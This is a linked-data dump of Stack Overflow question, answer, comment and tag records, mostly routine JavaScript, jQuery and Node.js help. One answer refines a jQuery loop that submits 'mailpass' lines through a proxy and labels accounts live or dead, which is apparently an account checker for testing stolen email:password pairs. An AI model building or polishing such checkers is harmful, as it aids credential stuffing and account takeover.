downvote count: 0

http://stackoverflow.com/q/25576822
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25791604
favorite count: 0
has answer: http://stackoverflow.com/a/27791842
tagged with: mapbox
has answer: http://stackoverflow.com/a/25609118
upvote count: 2
type: UnansweredQuestion
score: 2
tagged with: reverse-geocoding
tagged with: geocoding
type: Question
has title: Mapbox: Get country of coordinates
tagged with: javascript
has body: I'm using mapbox (https://www.mapbox.com/mapbox.js/api/v2.0.1/) and wounder if there is a way to get the country (or city?) of a [lat, lng] pair. Would be nice if somebody could help me out :) Kind regards

arrays
tags question: http://stackoverflow.com/q/25596782
tags question: http://stackoverflow.com/q/25695098
tags question: http://stackoverflow.com/q/25602380
tags question: http://stackoverflow.com/q/25606469
tags question: http://stackoverflow.com/q/25707202
tags question: http://stackoverflow.com/q/25705475
tags question: http://stackoverflow.com/q/25707015
tags question: http://stackoverflow.com/q/25615313
tags question: http://stackoverflow.com/q/25655072
tags question: http://stackoverflow.com/q/25696927
tags question: http://stackoverflow.com/q/25675781
tags question: http://stackoverflow.com/q/25633262
type: Tag
tags question: http://stackoverflow.com/q/25613614
tags question: http://stackoverflow.com/q/25565941
tags question: http://stackoverflow.com/q/25584389
tags question: http://stackoverflow.com/q/25551975
tags question: http://stackoverflow.com/q/25691622
tags question: http://stackoverflow.com/q/25654661
tags question: http://stackoverflow.com/q/25676026
tags question: http://stackoverflow.com/q/25618411
tags question: http://stackoverflow.com/q/25599238
tags question: http://stackoverflow.com/q/25659900
tags question: http://stackoverflow.com/q/25625290
tags question: http://stackoverflow.com/q/25660781
tags question: http://stackoverflow.com/q/25612667
tags question: http://stackoverflow.com/q/25656710
tags question: http://stackoverflow.com/q/25604034
tags question: http://stackoverflow.com/q/25681042
tags question: http://stackoverflow.com/q/25695166
tags question: http://stackoverflow.com/q/25658898
tags question: http://stackoverflow.com/q/25587257
tags question: http://stackoverflow.com/q/25605853
tags question: http://stackoverflow.com/q/25570747
tags question: http://stackoverflow.com/q/25692812
tags question: http://stackoverflow.com/q/25645323
tags question: http://stackoverflow.com/q/25607465
tags question: http://stackoverflow.com/q/25650384
tags question: http://stackoverflow.com/q/25653668
tags question: http://stackoverflow.com/q/25559418
tags question: http://stackoverflow.com/q/25581970
tags question: http://stackoverflow.com/q/25580794
tags question: http://stackoverflow.com/q/25554867
tags question: http://stackoverflow.com/q/25596475
tags question: http://stackoverflow.com/q/25681498
tags question: http://stackoverflow.com/q/25640080
tags question: http://stackoverflow.com/q/25615245
tags question: http://stackoverflow.com/q/25663030
tags question: http://stackoverflow.com/q/25588561
tags question: http://stackoverflow.com/q/25615760
tags question: http://stackoverflow.com/q/25680148
tags question: http://stackoverflow.com/q/25623304
tags question: http://stackoverflow.com/q/25691155
tags question: http://stackoverflow.com/q/25617691
tags question: http://stackoverflow.com/q/25674534
tags question: http://stackoverflow.com/q/25620574
tags question: http://stackoverflow.com/q/25609442
tags question: http://stackoverflow.com/q/25647101
tags question: http://stackoverflow.com/q/25595734
tags question: http://stackoverflow.com/q/25652071
tags question: http://stackoverflow.com/q/25584503
tags question: http://stackoverflow.com/q/25576855
tags question: http://stackoverflow.com/q/25585665
tags question: http://stackoverflow.com/q/25711720
tags question: http://stackoverflow.com/q/25682514
tags question: http://stackoverflow.com/q/25669332
tags question: http://stackoverflow.com/q/25642029
tags question: http://stackoverflow.com/q/25564665
tags question: http://stackoverflow.com/q/25666864
tags question: http://stackoverflow.com/q/25554366
tags question: http://stackoverflow.com/q/25563009
tags question: http://stackoverflow.com/q/25674704
tags question: http://stackoverflow.com/q/25676963
tags question: http://stackoverflow.com/q/25626326
tags question: http://stackoverflow.com/q/25633299
tags question: http://stackoverflow.com/q/25658554
tags question: http://stackoverflow.com/q/25562564
tags question: http://stackoverflow.com/q/25692074
tags question: http://stackoverflow.com/q/25614943
tags question: http://stackoverflow.com/q/25694682

http://stackoverflow.com/comment/40163594
has text: Your UserFavorites class and my FavoriteItem class are the same. In your UserFavorite class, you have an object I'd to your item. Try changing that to a pointer instead.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25694172
type: Comment

http://stackoverflow.com/q/25574242
has comment: http://stackoverflow.com/comment/39941543
favorite count: 0
has comment: http://stackoverflow.com/comment/39941734
type: AnsweredQuestion
has body: Is there a way in javascript to create an object from a string? Here is an example : configuation object: var formatter = { telephone : { length : 10, formatClass : "telephoneFormatter" }, email : { length : 255, formatClass : "emailFormatter" } } In the fields creation I could use the following method : function createFormatter(element){ if(formatter[element].formatClass == "telephoneFormatter"){ var formatObj = new telephoneFormatter() } if(formatter[element].formatClass == "emailFormatter"){ var formatObj = new emailFormatter() } return formatObj; } But I would like to create a the object dynamically, something like function createFormatter(element){ return new formatter[element].formatClass(); } The constructors are not available as properties of the window object, as presented in the solution to "Dynamic Instantiation In JavaScript". The class files are loaded with the page but I cannot find the object developer's tool in chrome. Thus I do not have a handle currently on the classes. Why do I need to do that ? The application loads form dynamically, and the field are created from an elaborate JSON. While the form is beeing created, the validation is added depending on the structure of the JSON. We never know what validation must be added to a certain field. To complexify the whole thing the validation is different on the locale. Can that be done?
has comment: http://stackoverflow.com/comment/39942400
has comment: http://stackoverflow.com/comment/39942222
has comment: http://stackoverflow.com/comment/39941848
has comment: http://stackoverflow.com/comment/39941696
linked to: http://stackoverflow.com/q/6914108
score: 1
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39941769
tagged with: object
accepted answer: http://stackoverflow.com/a/25574508
tagged with: javascript
has title: Creating object from a string (dynamically)
has comment: http://stackoverflow.com/comment/39941717
has answer: http://stackoverflow.com/a/25574508
answer count: 1
has comment: http://stackoverflow.com/comment/39942796
downvote count: 0

http://stackoverflow.com/a/25623595
has body: Don't test if the browser supports HTML 4: That's a massively broad category. Don't test if the browser supports form submission: They all do. Test if the browser doesn't support the history API. if (!history.pushState) { return; }
accepted answer of: http://stackoverflow.com/q/25573634
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25573634
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/39901282
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25552782
has text: It is the [modulo operator](http://en.wikipedia.org/wiki/Modulo_operation) - gives the remainder of the first value divided by the second.
type: AnswerComment

http://stackoverflow.com/a/26149280
has body: solved using prompt(); Jquery command
type: Answer
accepted answer of: http://stackoverflow.com/q/25691577
score: 0
answers question: http://stackoverflow.com/q/25691577
type: AcceptedAnswer

http://stackoverflow.com/comment/40127638
type: QuestionComment
has text: You're missing the point, I mean use an object as cache, instead of calling `indexOf` on the array. Keep the cache in a closure.
score: 3
comment on: http://stackoverflow.com/q/25676477
type: Comment

http://stackoverflow.com/comment/40025755
has text: @PraveenKumar: This example works better than yours. In your example, array[1] contains 11, 12, 13 etcetc..
type: AnswerComment
comment on: http://stackoverflow.com/a/25607895
score: 0
type: Comment

http://stackoverflow.com/q/25552296
has comment: http://stackoverflow.com/comment/39900086
has comment: http://stackoverflow.com/comment/39904094
type: Question
has comment: http://stackoverflow.com/comment/39903300
answer count: 2
has comment: http://stackoverflow.com/comment/39899845
accepted answer: http://stackoverflow.com/a/25553138
tagged with: javascript
tagged with: jquery
has title: Copy CSS class A to class B
linked to: http://stackoverflow.com/q/2571164
has comment: http://stackoverflow.com/comment/39900115
has comment: http://stackoverflow.com/comment/39900440
has answer: http://stackoverflow.com/a/25552731
score: 0
has comment: http://stackoverflow.com/comment/39904503
has answer: http://stackoverflow.com/a/25553138
has comment: http://stackoverflow.com/comment/39899707
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has comment: http://stackoverflow.com/comment/39900033
linked to: http://stackoverflow.com/q/1065435
has comment: http://stackoverflow.com/comment/39903901
has comment: http://stackoverflow.com/comment/39900022
favorite count: 0
has comment: http://stackoverflow.com/comment/39900274
tagged with: css
possible better answer: http://stackoverflow.com/a/25552731
type: AnsweredQuestion
has body: Here's some code &lt;button id="test" class="ui-state-hover" value="Button"&gt; Context: I am using JQuery UI CSS class ui-state-hover on an HTML button (I want that button to always looks like its hover). But that class keep on disappearing when I mouseout another JQuery UI element, I guess this is normal behavior tought, &lt;button id="test" class="" value="Button"&gt; so I figured that in that particular JQuery element there must be a line of code similar to this: $('.ui-state-hover').on('mouseout', function(){$(this).removeClass('ui-state-hover');}) Which remove the class on every element that has the class. So I tough I'd only have to have a class of my own with the same CSS as ui-state-hover but different name. So I could just give that element the copy and POUF! problem solve! MyCssClass = ui-state-hover &lt;butotn id="test" class="MyCssClass" value="Button"&gt; So need a way to copy content of one CSS class to another. I would rather have a pure CSS answer but if none exist JQuery or Javascript would do. I though using something like this but it just seems silly I it doesn't work. $('.MyCssClass').css($('.ui-state-hover').css()); Thanks! EDIT: Here is a bit more on what a tried to do. I put a sh*t tone of different JQuery Theme in a directory and depending on users choice I switch the .css file and reload the page. Since every theme or almost every theme has the same classes they are interchangeable. So ui-state-hover might in the ui-darkness JQuery UI Theme have a black background color but in the ui-lightness JQuery UI Theme background might be gray. This is why I need to dynamically copy some of those on page load into my own class and I can't just copy/paste the content of the .css file. EDIT: here is a fiddle illustrating my problem: http://jsfiddle.net/yr89tg9g/ see how when you hover test2 it loose the ui-state-hover class? To stop this I tough about cloning the class but it seems it can't be done...
has comment: http://stackoverflow.com/comment/39899846
has comment: http://stackoverflow.com/comment/39899859
has comment: http://stackoverflow.com/comment/39899938

http://stackoverflow.com/q/25574596
has title: Use JSON to create polymer core-menu/core-submenu
type: Question
tagged with: polymer
tagged with: javascript
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25643398
favorite count: 0
has body: I am running into some problems when using JSON to create a polymer menu. I have a JSON structure, somewhat like [{"name":foo, "children": [{"name":"bar"}]}, {"name": "arr", "children": []] I would like to render this as: I have attempted to do this with code that looks somewhat like: 0 }}"> But this doesn't work for me at all: the problem seems to be that it is setting the 'core-selected' class on the x-submenu and not on the core-item or core-submenu tags that it contains. How do I either: define this using nothing but raw core-menu/core-submenu/core-item tags (mutate innerHTML? appendChild?) or propagate the classes and clicks properly so I can expand my menu?
type: UnansweredQuestion
score: 1
tagged with: material-design
upvote count: 1

datetimepicker
type: Tag
tags question: http://stackoverflow.com/q/25592883
tag name: datetimepicker

http://stackoverflow.com/q/25608632
type: Question
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/25619339
accepted answer: http://stackoverflow.com/a/25608796
has body: I would like to know how to access to a html twig form field value through javascript in Symfony2. The explanation is as below: This is the screen shot of the form that I have: This is the form code: Wkayet {% for x in groupe%} {% endfor %} {{ form_errors(form) }} Titre {{ form_errors(form.title) }} {{ form_widget(form.title) }} Début {{ form_errors(form.start ) }} {{ form_widget(form.start ) }} Fin {{ form_errors(form.end ) }} {{ form_widget(form.end ) }} Lieu {{ form_errors(form.location) }} {{ form_widget(form.location) }} Description {{form_widget(form._token)}} And this is the form class code: public function buildForm(FormBuilderInterface $builder, array $options) { $builder ->add('title','text') ->add('start','datetime',array( 'input' => 'datetime', 'format' => 'dd/MM/yyyy H:i', 'minutes' => array( 0, 30 ) )) ->add('end','datetime',array( 'input' => 'datetime', 'format' => 'dd/MM/yyyy H:i', 'minutes' => array( 0, 30 ) )) ->add('location','text') ->add('description','text') ; } Actually, what I would like to do is to compare the values of the two datetime fields "start" and "end". Therefore I need to access to the value of each of that fields. By the way, please focus on this part of JavaScript code (which is at the top of the html form code): So, my question is: what will be the correct code to do that?
tagged with: field
tagged with: symfony
tagged with: twig
has title: how to access to a html twig form field value through javascript in Symfony2?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25608796
possible better answer: http://stackoverflow.com/a/25608858
tagged with: javascript
has answer: http://stackoverflow.com/a/25608858
tagged with: forms

http://stackoverflow.com/comment/40070626
type: Comment
comment on: http://stackoverflow.com/a/25644152
has text: @Bergi ... based on your very helpful pointer about the stack I should be able to sort this and your idea that it's a call within `opChown` looks to be correct.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25598429
has comment: http://stackoverflow.com/comment/39986326
has comment: http://stackoverflow.com/comment/39986179
downvote count: 0
score: 1
has body: Actually "string" is an instance of String class. So just create an instance of your class and it should work. function Foo() { }; Foo.method('test', function() { return "This is a test!"; }); console.log(new Foo().test());
has comment: http://stackoverflow.com/comment/39985955
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39985936
answers question: http://stackoverflow.com/q/25598386
type: Answer
accepted answer of: http://stackoverflow.com/q/25598386

http://stackoverflow.com/a/25685900
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25685830
accepted answer of: http://stackoverflow.com/q/25685830
downvote count: 0
upvote count: 2
type: Answer
score: 2
has body: How to find endpoint which handle the response? On the Network tab, you can see where the request was originated, it's the column labelled "Initiator:" That has a link that will show you the code originating the ajax call (I assume by "response" you're talking about an ajax response). From there, you should be able to find the callback that request is associated with. A lot of times, if you use a library like jQuery, you'll be shown the jQuery code doing the request rather than yours. You can still find what you need, though, by using the un-minified version of the libray, setting a breakpoint on that code (perhaps even a conditional one on, say, the URL being requested), and then when the breakpoint is hit using the call stack to find out where in your code the call actually originates. How to find the response by it content? This will be slightly more difficult. Again in the Network tab, you can click each ajax request and see (and search through) the text of there response under the Response sub-tab.

http://stackoverflow.com/comment/39944474
has text: @user3144851: There are no "private properties". You are simulating this by using local variables, and variables are subject to lexical scope.
comment on: http://stackoverflow.com/a/25575705
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40146933
comment on: http://stackoverflow.com/q/25686592
has text: Thanks @D.T. I will use the row index
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25671896
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25670145
accepted answer of: http://stackoverflow.com/q/25670145
has body: The dropdown link will work no matter what you have listed as the href= as long as that is not pointing to an existing id on the page. So for example all of these work and the user will have the same experience whether href="#", href="#blah", or href="#hello. This is because neither blah nor hello is an id that is in use on the page. The id bug is being used on the page. When you introduce the href="#bug" it is pointing to the main , and nothing happens because that is simply a plain text div.
has comment: http://stackoverflow.com/comment/40130377
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40130478

http://stackoverflow.com/q/25697893
upvote count: 0
has title: Concatenate JSON arrays in a JSON objects in javascript
tagged with: arrays
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25698076
has answer: http://stackoverflow.com/a/25698094
has answer: http://stackoverflow.com/a/25698246
has comment: http://stackoverflow.com/comment/40167150
has comment: http://stackoverflow.com/comment/40167509
has comment: http://stackoverflow.com/comment/40167155
has body: I have a JSON response like this: {"result":[["abc","de"],["fgh"],["ij","kl"]]} I want the response to be in the form: {"result":["abc","de","fgh","ij","kl"]} How can I achieve this?
linked to: http://stackoverflow.com/q/10865025
type: UnansweredQuestion
downvote count: 2
type: Question
has answer: http://stackoverflow.com/a/25698214
has comment: http://stackoverflow.com/comment/40166985
score: -2
answer count: 6
linked to: http://stackoverflow.com/q/7875070
has answer: http://stackoverflow.com/a/25698145
has answer: http://stackoverflow.com/a/25698158

http://stackoverflow.com/q/25597740
has title: Node.js: Making internal calls from exports
score: 0
answer count: 1
tagged with: module
has answer: http://stackoverflow.com/a/25597945
accepted answer: http://stackoverflow.com/a/25597945
tagged with: node.js
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/19690140
type: Question
has comment: http://stackoverflow.com/comment/39984750
has body: Suppose I have the following code in one of my modules: var _this = this; exports.getData = function(res) { res.json({someData:'Data'}); }; Now I want to make another exports function within my module that makes use of getData. Basically somehow make something of this sort: exports.getMoreData = function(res) { $.nodeInternalCall({url: _this.getData()}).done(function(data) { res.json({newData: data.someData * 10}) }) }; Is there any way to do this? Unless this doesn't make sense in node D:
tagged with: javascript

http://stackoverflow.com/comment/40059439
type: QuestionComment
comment on: http://stackoverflow.com/q/25638774
score: 0
has text: http://www.timeanddate.com/calendar/?year=1494&country=35 and many other source
type: Comment

http://stackoverflow.com/a/25603192
answers question: http://stackoverflow.com/q/25603191
has body: These are valid workarounds: Explicitly calling the test(Integer[]) method using an array argument: var API = Java.type("nashorn.test.API"); API.test([1]); Removing the overload: public class AlternativeAPI1 { public static void test(Integer... args) { System.out.println("OK"); } } Removing the varargs: public class AlternativeAPI3 { public static void test(String string) { throw new RuntimeException("Don't call this"); } public static void test(Integer args) { System.out.println("OK"); } } Replacing String by CharSequence (or any other "similar type"): public class AlternativeAPI2 { public static void test(CharSequence string) { throw new RuntimeException("Don't call this"); } public static void test(Integer args) { System.out.println("OK"); } }
type: Answer
score: 7
upvote count: 7
downvote count: 0

http://stackoverflow.com/a/25682933
has comment: http://stackoverflow.com/comment/40139014
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25682744
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25682744
upvote count: 1
has body: Check the error console for errors - my guess is the second line in UpdateObjectSettings is throwing an error.

http://stackoverflow.com/q/25569913
has comment: http://stackoverflow.com/comment/39933173
has comment: http://stackoverflow.com/comment/39933303
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25570101
accepted answer: http://stackoverflow.com/a/25570101
type: Question
has comment: http://stackoverflow.com/comment/39933255
has comment: http://stackoverflow.com/comment/39933001
has comment: http://stackoverflow.com/comment/39933294
answer count: 1
has comment: http://stackoverflow.com/comment/39933272
has comment: http://stackoverflow.com/comment/39933129
tagged with: javascript
tagged with: jquery
has body: This code isn't working, I guess it's because .join('') doesn't work in jquery but I can't find any solution that seems legit. Thanks for your help. If needed I can show what I have in my html file: js code: $( "#files" ).bind('change', function() { var files = evt.target.files; // FileList object // files is a FileList of File objects. List some properties. var output = []; for (var i = 0, f; f = files[i]; i++) { output.push(' ', escape(f.name), ' (', f.type || 'n/a', ') - ', f.size, ' bytes, last modified: ', f.lastModifiedDate ? f.lastModifiedDate.toLocaleDateString() : 'n/a', ' '); } $("#list").html(' ' + output.join('') + ' '); });
has title: how to make .join('') in jquery
score: 0
has comment: http://stackoverflow.com/comment/39932999
has comment: http://stackoverflow.com/comment/39933251
has comment: http://stackoverflow.com/comment/39933410

http://stackoverflow.com/comment/40044197
comment on: http://stackoverflow.com/q/25629932
score: 0
type: Comment
type: QuestionComment
has text: @BrianNickel Can you please tell me how to do this?

http://stackoverflow.com/comment/40177042
score: 0
type: QuestionComment
type: Comment
has text: Try removing your facebook app secret from settings in parse app dashboard.
comment on: http://stackoverflow.com/q/25697908

http://stackoverflow.com/q/25705369
downvote count: 0
score: 1
type: Question
has body: I have a web application that contains many tinymce editors in side a web page. My web users want to make the text aligned to the right on pressing alt+shift. This is the code I implemented : var regularElements = ['objs', 'mats', 'procs', 'clos', 'homs'];// ids of textareas // initialization of tiny mce editors from ids // ......... function handleKeyDown(e) { var ctrlPressed = 0; var altPressed = 0; var shiftPressed = 0; var evt = (e == null ? event : e); shiftPressed = evt.shiftKey; altPressed = evt.altKey; ctrlPressed = evt.ctrlKey; self.status = "" + "shiftKey=" + shiftPressed + ", altKey=" + altPressed + ", ctrlKey=" + ctrlPressed if (shiftPressed &amp;&amp; altPressed) { $.map(regularElements, function(regularElement, i) { tinymce.get(regularElement).formatter.apply("alignright") }) } return true; } $("body").keydown(function(e) { handleKeyDown(e); }); The problem is that when users press alt + shift it the editors that respond to the right alignment are the ones that are visited with the cursor (user click the content) at least one time i.e : if just objs and mats editors are visited by the cursor in the page then objs and mats are the only editors that go to the right alignment on alt + shift . The rest do not !! Any idea about this problem?
tagged with: javascript
has title: How can I align text to right in tinymce editor programatically
tagged with: tinymce
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
tagged with: text-alignment
favorite count: 0
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/39970054
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25589587
has text: I just did: early versions of V8 and IE -- and Firefox used to iterate in other sequences, too, and all of this was correct behavior according to the ECMAScript spec, which is literally the definition of Javascript. I'm not suggesting it won't *work* in MongoDB; it clearly does. But I think I *have* proven it's unspecified behavior. See the link in my last comment for a deep discussion of object property sequence in JS with many more good links to follow.

http://stackoverflow.com/comment/40047130
type: QuestionComment
comment on: http://stackoverflow.com/q/25631714
has text: Thanks for the response. I've tried a few things. I just want it to add the new pit then show the pit page with that new pit.
score: 0
type: Comment

jqgrid-formatter
tags question: http://stackoverflow.com/q/25694109
tag name: jqgrid-formatter
tags question: http://stackoverflow.com/q/25694281
type: Tag

http://stackoverflow.com/a/25668199
has body: You could add the counter (currentIndex) and re-organize the code a little bit. var busy; var lines; var currentIndex = 0; function checkNext(){ if( currentIndex &gt;= lines.length ){ console.log('all done'); return; } var mailpass = lines[currentIndex]; var proxy = '123'; var post_data = {}; var post_json = ""; post_data['mailpass'] = mailpass; post_data['proxy'] = '108.36.248.67:17786'; post_json = JSON.stringify(post_data); jQuery.ajax({ url: '/postdata' , type: "POST", data: {params: post_json}, success: function(data){ var obj = JSON.parse(data); if(obj.error == 0){ // $("#acc-live").append(obj.msg + "&lt;br/&gt;"); } else if(obj.error == 1){ // $("#socks-die").append(obj.msg+ "&lt;br/&gt;"); } else if(obj.error == 2){ // $("#acc-die").append(obj.msg+ "&lt;br/&gt;"); } currentIndex++; //Increase the counter checkNext(); } }); } $(document).ready(function(){ $("#submit").click(function(){ lines = $("#lines").val().split('\n'); checkNext(); }); });
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25667803
upvote count: 3

http://stackoverflow.com/q/25703925
has comment: http://stackoverflow.com/comment/40178528
has answer: http://stackoverflow.com/a/45893776
tagged with: browser
has title: How to open `tel:+48123` link client side without openning new window/tab in browser
has comment: http://stackoverflow.com/comment/40177791
has comment: http://stackoverflow.com/comment/40177852
downvote count: 0
has answer: http://stackoverflow.com/a/25704319
favorite count: 0
upvote count: 8
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40177878
has comment: http://stackoverflow.com/comment/40177909
answer count: 4
has comment: http://stackoverflow.com/comment/40177930
has comment: http://stackoverflow.com/comment/40181251
has comment: http://stackoverflow.com/comment/40178093
has answer: http://stackoverflow.com/a/61322265
type: Question
has answer: http://stackoverflow.com/a/48380482
score: 8
tagged with: asp.net-mvc
tagged with: hyperlink
tagged with: javascript
has comment: http://stackoverflow.com/comment/40178702
has body: I need to deliver the same behaviour if I clicked tel:+4842566 link by myself. The default telephony application should call the number nothing more. I managed that besides that new tab opens. I wrote: function Call(){ window.open("tel:+4842566",'_blank'); } and this: function Call(){ window.open("tel:+4842566"); } and this: function Call(){ document.getElementById('mymailto').click(); } &lt;a href="tel:+48123456" id="mymailto" style="display:none"&gt;&lt;/a&gt; Results are the same. Computer calls the number but new tab is openned. Question: Is it possible to invoke/open this link without new tab/window? EDIT: Before I tried to run this client side I did it on server side but did not realise that when I deploy application it is not the client who will be calling: public ActionResult Call(int id, string number) { System.Diagnostics.Process proc = new System.Diagnostics.Process(); string formattedNumber = "tel:+48" + formatPhoneNumber(number); System.Diagnostics.Debug.WriteLine("NUMBER " + formattedNumber); proc.StartInfo.FileName = formattedNumber; proc.Start(); Person person = db.Persons.Find(id); return RedirectToAction("Edit", new Person { Id = id }); } but then I didn't get new tab, maybe it will help somehow. EDIT 2: I don't simply look for href link cause launching tel: link is only one of 2 things that happen at the same time: &lt;p&gt;@Html.ActionLink("Call Cell Phone", "Call", new { id = Model.Id, number = Model.CellNumber }, new { @class = "btn btn-default", onclick = "Call();" })&lt;/p&gt; I go to the controller action and invoke Call() javascript method and JavaScript method is the only place that simple openning any link can be done.

http://stackoverflow.com/a/25704835
accepted answer of: http://stackoverflow.com/q/25704774
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40179566
type: Answer
has body: When alerting e.type, the events are called "focusin" and "focusout" accordingly (in Chrome), so try changing your code to: e.type === "focusin"
answers question: http://stackoverflow.com/q/25704774
has comment: http://stackoverflow.com/comment/40179592

http://stackoverflow.com/a/25590956
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25590921
type: Answer
has body: You want: _.partial(test, 1, 2, 3) // equivalent to: _.partial.apply(null, [test, 1, 2, 3]) Or dynamically: var args = [1,2,3] _.partial.apply(null, [test].concat(args))
answers question: http://stackoverflow.com/q/25590921
has comment: http://stackoverflow.com/comment/39972252
score: 2
downvote count: 0

http://stackoverflow.com/q/25693527
has answer: http://stackoverflow.com/a/25696104
type: UnansweredQuestion
has title: Get and render some file with app.get (node)
has body: how are you guys? Today I need help with my application in Node, I appreciate if someone can help me. I have my routes set up on my general configuration file, and all my app.gets are rendering files in the folder views, inside the server folder, just like this: SERVER FOLDER | |- VIEWS FOLDER WITH THE SEVERAL EJS TEMPLATES | | | -- RESERVATIONS.EJS |- CONFIGURATIONFILE.JS So, Just to help you to help me.. i have this get example that are working perfectly: app.get('/reservas', ensureAuthenticated, function(req, res) { res.render('reservations'); }); I have this two configurations in my file configuration file: app.set('views', __dirname + '/views'); app.set('view engine', 'ejs'); Now, the real problem. I have a public folder that is a sibling folder of the folder server, and i have this login.ejs and I need to render it in the route /, so i have this: app.get('/', function (req, res) { res.render('login'); }); but it is not pulling the file inside the public folder.. If anyone can help me, I appreciate it.
tagged with: routes
type: Question
has comment: http://stackoverflow.com/comment/40159210
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40159168
answer count: 1
tagged with: node.js

http://stackoverflow.com/q/25655187
type: AnsweredQuestion
tagged with: oop
linked to: http://stackoverflow.com/q/17392857
accepted answer: http://stackoverflow.com/a/25656020
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/40090205
tagged with: javascript
tagged with: inheritance
has title: Parameters not being passed through two levels of JavaScript constructors
score: 0
answer count: 1
has body: When running the below code I am receiving a type error when passing my arguments. It seems I am unable to pass my JSON data as arguments to the Employee object. This is the error I am receiving: /home/ubuntu/test/tests/employee.js:4 this.name = params['name'] || ""; ^ TypeError: Cannot read property 'name' of undefined Below is the code: //comment var Employee = function (params) { this.name = params['name'] || ""; this.dept = params['dept'] || "general"; } function Manager () { this.reports = []; } Manager.prototype = new Employee; function WorkerBee (params) { console.log("params "+params); this.base = Employee; this.base(params); // this.projects = params['projs'] || []; } WorkerBee.prototype = new Employee; function Engineer (params) { this.base = WorkerBee; this.base(params); params['projs']="engineering"; // this.base(params['name'], "engineering", params['projs']); this.machine = params['mach'] || ""; } Engineer.prototype = new WorkerBee; var jane = new Engineer({'name': "Doe, Jane", 'projs':["navigator", "javascript"], 'mach':"belau"}); console.log(jane); Any guidance would be appreciated to correct this example.
has answer: http://stackoverflow.com/a/25656020
has comment: http://stackoverflow.com/comment/40089566
tagged with: hierarchy
has comment: http://stackoverflow.com/comment/40091902
has comment: http://stackoverflow.com/comment/40089545

http://stackoverflow.com/a/25594805
has comment: http://stackoverflow.com/comment/39979450
type: Answer
answers question: http://stackoverflow.com/q/25594729
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25594729
has body: Use ng-blur to bind your cancel event to the element. It will fire when the element loses focus. IE: &lt;input ng-blur="cancel()" /&gt; Note: The cancel function must be within scope. Angular ngBlur Docs Update from comments: Give the input element focus when your double tab event fires making the field editable. Your blur event is likely not firing because the input element never had focus. You could do this from inside your editItem function or from inside the directive. As an example: yourApp.directive('hmDoubleTap', function(){ return function(scope, element, attr){ if(doubleTap) { // Fire editItem(user) // You could add your .focus() inside editItem(). // Or focus the first input element at the end of the directive. element.find("input")[0].focus(); } }; });
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/a/25600245
has comment: http://stackoverflow.com/comment/39989084
downvote count: 0
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25600101
has body: For your first problem, use position and overflow properties for your .container element: .container { position: relative; overflow: auto; } jsFiddle Demo.

http://stackoverflow.com/comment/40047797
comment on: http://stackoverflow.com/q/25631918
score: 0
type: Comment
has text: I don't see a real point to it, but I did in case you want to accept an answer
type: QuestionComment

http://stackoverflow.com/q/25669678
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: apache2
tagged with: three.js
has body: So I'm having this weird issue. I have an apache2 server, behind a password wall using Auth. I have a page with a variety of resources being loaded. For some reason some of them give me this error and I can't figure out why. Specifically, there are a number of pngs being loaded in the page. Some are simply in the DOM/HTML while others are inserted through javascript. I'm using a library called Three.js for webgl and am using the function loadTextureCube which seems to be where the issue is, as all other images load. I know I have the right credentials because I can access the site. I even made an exception for that folder and it still doesn't work &lt;Directory /path/to/imgs/folder&gt; Options -Indexes Order allow,deny Allow from all &lt;/Directory&gt; This use to work before and now it doesn't for some reason
answer count: 0
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
has title: Authorization Required error when loading some pngs
has comment: http://stackoverflow.com/comment/40194369

http://stackoverflow.com/a/25611558
score: 0
has comment: http://stackoverflow.com/comment/40010378
type: Answer
answers question: http://stackoverflow.com/q/25611469
has comment: http://stackoverflow.com/comment/40010132
has body: You have an object literal inside of an array literal. You would have to access the "subtotal" property in your example like this: $scope.parts[0].subtotal $watch(es) get the new values and the old values passed in when they fire. I would try to reproduce with your example but I can't bring myself to write it with Coffee. You can grab the values from the arguments going in, or you can access the object directly like you are there (which might be easier considering you're using a deep watch).

http://stackoverflow.com/q/25656340
downvote count: 0
answer count: 0
score: 1
tagged with: geojson
type: Question
